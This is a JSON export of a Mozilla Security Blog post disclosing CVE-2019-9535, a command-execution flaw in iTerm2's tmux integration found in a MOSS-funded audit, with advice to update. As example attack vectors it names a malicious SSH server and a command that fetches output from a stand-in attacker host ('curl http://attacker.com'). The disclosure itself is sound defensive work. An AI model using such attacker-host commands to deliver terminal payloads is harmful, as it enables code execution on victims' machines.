{"id":2492,"date":"2019-10-09T07:11:43","date_gmt":"2019-10-09T14:11:43","guid":{"rendered":"https:\/\/blog.mozilla.org\/security\/?p=2492"},"modified":"2019-10-09T07:14:35","modified_gmt":"2019-10-09T14:14:35","slug":"iterm2-critical-issue-moss-audit","status":"publish","type":"post","link":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/","title":{"rendered":"Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit"},"content":{"rendered":"<p>A security audit funded by the <a href=\"https:\/\/mozilla.org\/moss\">Mozilla Open Source Support Program<\/a> (MOSS) has discovered a critical security vulnerability in the widely used macOS terminal emulator <a href=\"https:\/\/iterm2.com\/\">iTerm2<\/a>. After finding the vulnerability, Mozilla, <a href=\"https:\/\/radicallyopensecurity.com\/\">Radically Open Security<\/a> (ROS, the firm that conducted the audit), and iTerm2\u2019s developer George Nachman worked closely together to develop and release a patch to ensure users were no longer subject to this security threat. All users of iTerm2 should update immediately to the latest version (3.3.6) which has been <a href=\"https:\/\/groups.google.com\/forum\/m\/#!topic\/iterm2-discuss\/57k_AuLdQa4\">published concurrent<\/a> with this blog post.<\/p>\n<p>Founded in 2015, MOSS broadens access, increases security, and empowers users by providing catalytic support to open source technologists. Track III of MOSS &#8212; created in the wake of the 2014 <a href=\"http:\/\/heartbleed.com\/\">Heartbleed vulnerability<\/a> &#8212; supports security audits for widely used open source technologies like iTerm2. Mozilla is an open source company, and the funding MOSS provides is one of the key ways that we continue to ensure the open source ecosystem is healthy and secure.<\/p>\n<p><a href=\"https:\/\/iterm2.com\/\">iTerm2<\/a> is one of the most popular terminal emulators in the world, and frequently used by developers. MOSS selected iTerm2 for a security audit because it processes untrusted data and it is widely used, including by high-risk targets (like developers and system administrators).<\/p>\n<p>During the audit, ROS identified a critical vulnerability in the tmux integration feature of iTerm2; this vulnerability has been present in iTerm2 for at least 7 years. An attacker who can produce output to the terminal can, in many cases, execute commands on the user\u2019s computer. Example attack vectors for this would be connecting to an attacker-controlled SSH server or commands like <em>curl http:\/\/attacker.com<\/em> and <em>tail -f \/var\/log\/apache2\/referer_log<\/em>. We expect the community will find many more creative examples.<\/p>\n<div style=\"width: 788px;\" class=\"wp-video\"><!--[if lt IE 9]><script>document.createElement('video');<\/script><![endif]-->\n<video class=\"wp-video-shortcode\" id=\"video-2492-1\" width=\"788\" height=\"692\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/webm\" src=\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/cve-2019-9535.webm?_=1\" \/><a href=\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/cve-2019-9535.webm\">https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/cve-2019-9535.webm<\/a><\/video><\/div>\n<p><i>Proof-of-Concept video of a command being run on a mock victim\u2019s machine after connecting to a malicious SSH server. In this case, only a calculator was opened as a placeholder for other, more nefarious commands.<\/i><\/p>\n<p>Typically this vulnerability would require some degree of user interaction or trickery; but because it can be exploited via commands generally considered safe there is a high degree of concern about the potential impact.<\/p>\n<p>An update to iTerm2 is now available with a mitigation for this issue, which has been assigned CVE-2019-9535. While iTerm2 will eventually prompt you to update automatically, we recommend you proactively update by going to the iTerm2 menu and choosing <b>Check for updates&#8230;<\/b> The fix is available in version 3.3.6. A prior update was published earlier this week (3.3.5),\u00a0 it does not contain the fix.<\/p>\n<p><a href=\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-2493 aligncenter\" src=\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM-252x93.png\" alt=\"\" width=\"252\" height=\"93\" srcset=\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM-252x93.png 252w, https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM.png 343w\" sizes=\"(max-width: 252px) 100vw, 252px\" \/><\/a>If you\u2019d like to apply for funding or an audit from MOSS, you can find application links <a href=\"https:\/\/www.mozilla.org\/en-US\/moss\/\">on the MOSS website<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A security audit funded by the Mozilla Open Source Support Program (MOSS) has discovered a critical security vulnerability in the widely used macOS terminal emulator iTerm2. After finding the vulnerability, &hellip; <a class=\"go\" href=\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/\">Read more<\/a><\/p>\n","protected":false},"author":1610,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[69],"tags":[45512,302929,45514],"coauthors":[323226],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit - Mozilla Security Blog<\/title>\n<meta name=\"description\" content=\"A security audit funded by Mozilla has discovered a critical security vulnerability in the widely used macOS terminal emulator iTerm2.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Tom Ritter\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/\",\"url\":\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/\",\"name\":\"Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit - Mozilla Security Blog\",\"isPartOf\":{\"@id\":\"https:\/\/blog.mozilla.org\/security\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM-252x93.png\",\"datePublished\":\"2019-10-09T14:11:43+00:00\",\"dateModified\":\"2019-10-09T14:14:35+00:00\",\"author\":{\"@id\":\"https:\/\/blog.mozilla.org\/security\/#\/schema\/person\/8050c901fa7de4b8592fbf3883ada431\"},\"description\":\"A security audit funded by Mozilla has discovered a critical security vulnerability in the widely used macOS terminal emulator iTerm2.\",\"breadcrumb\":{\"@id\":\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#primaryimage\",\"url\":\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM.png\",\"contentUrl\":\"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM.png\",\"width\":343,\"height\":127},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/blog.mozilla.org\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/blog.mozilla.org\/security\/#website\",\"url\":\"https:\/\/blog.mozilla.org\/security\/\",\"name\":\"Mozilla Security Blog\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/blog.mozilla.org\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/blog.mozilla.org\/security\/#\/schema\/person\/8050c901fa7de4b8592fbf3883ada431\",\"name\":\"Tom Ritter\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/blog.mozilla.org\/security\/#\/schema\/person\/image\/8c665b379ecb0126402892978ad819df\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/3751f274d6ee027c0b815855573c73d5?s=96&d=identicon&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/3751f274d6ee027c0b815855573c73d5?s=96&d=identicon&r=g\",\"caption\":\"Tom Ritter\"},\"sameAs\":[\"https:\/\/ritter.vg\",\"https:\/\/x.com\/tomrittervg\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit - Mozilla Security Blog","description":"A security audit funded by Mozilla has discovered a critical security vulnerability in the widely used macOS terminal emulator iTerm2.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/","twitter_misc":{"Written by":"Tom Ritter","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/","url":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/","name":"Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit - Mozilla Security Blog","isPartOf":{"@id":"https:\/\/blog.mozilla.org\/security\/#website"},"primaryImageOfPage":{"@id":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#primaryimage"},"image":{"@id":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#primaryimage"},"thumbnailUrl":"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM-252x93.png","datePublished":"2019-10-09T14:11:43+00:00","dateModified":"2019-10-09T14:14:35+00:00","author":{"@id":"https:\/\/blog.mozilla.org\/security\/#\/schema\/person\/8050c901fa7de4b8592fbf3883ada431"},"description":"A security audit funded by Mozilla has discovered a critical security vulnerability in the widely used macOS terminal emulator iTerm2.","breadcrumb":{"@id":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#primaryimage","url":"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM.png","contentUrl":"https:\/\/blog.mozilla.org\/security\/files\/2019\/10\/Screen-Shot-2019-10-08-at-2.18.36-PM.png","width":343,"height":127},{"@type":"BreadcrumbList","@id":"https:\/\/blog.mozilla.org\/security\/2019\/10\/09\/iterm2-critical-issue-moss-audit\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/blog.mozilla.org\/security\/"},{"@type":"ListItem","position":2,"name":"Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit"}]},{"@type":"WebSite","@id":"https:\/\/blog.mozilla.org\/security\/#website","url":"https:\/\/blog.mozilla.org\/security\/","name":"Mozilla Security Blog","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/blog.mozilla.org\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/blog.mozilla.org\/security\/#\/schema\/person\/8050c901fa7de4b8592fbf3883ada431","name":"Tom Ritter","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/blog.mozilla.org\/security\/#\/schema\/person\/image\/8c665b379ecb0126402892978ad819df","url":"https:\/\/secure.gravatar.com\/avatar\/3751f274d6ee027c0b815855573c73d5?s=96&d=identicon&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3751f274d6ee027c0b815855573c73d5?s=96&d=identicon&r=g","caption":"Tom Ritter"},"sameAs":["https:\/\/ritter.vg","https:\/\/x.com\/tomrittervg"]}]}},"_links":{"self":[{"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/posts\/2492"}],"collection":[{"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/users\/1610"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/comments?post=2492"}],"version-history":[{"count":0,"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/posts\/2492\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/media?parent=2492"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/categories?post=2492"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/tags?post=2492"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/blog.mozilla.org\/security\/wp-json\/wp\/v2\/coauthors?post=2492"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}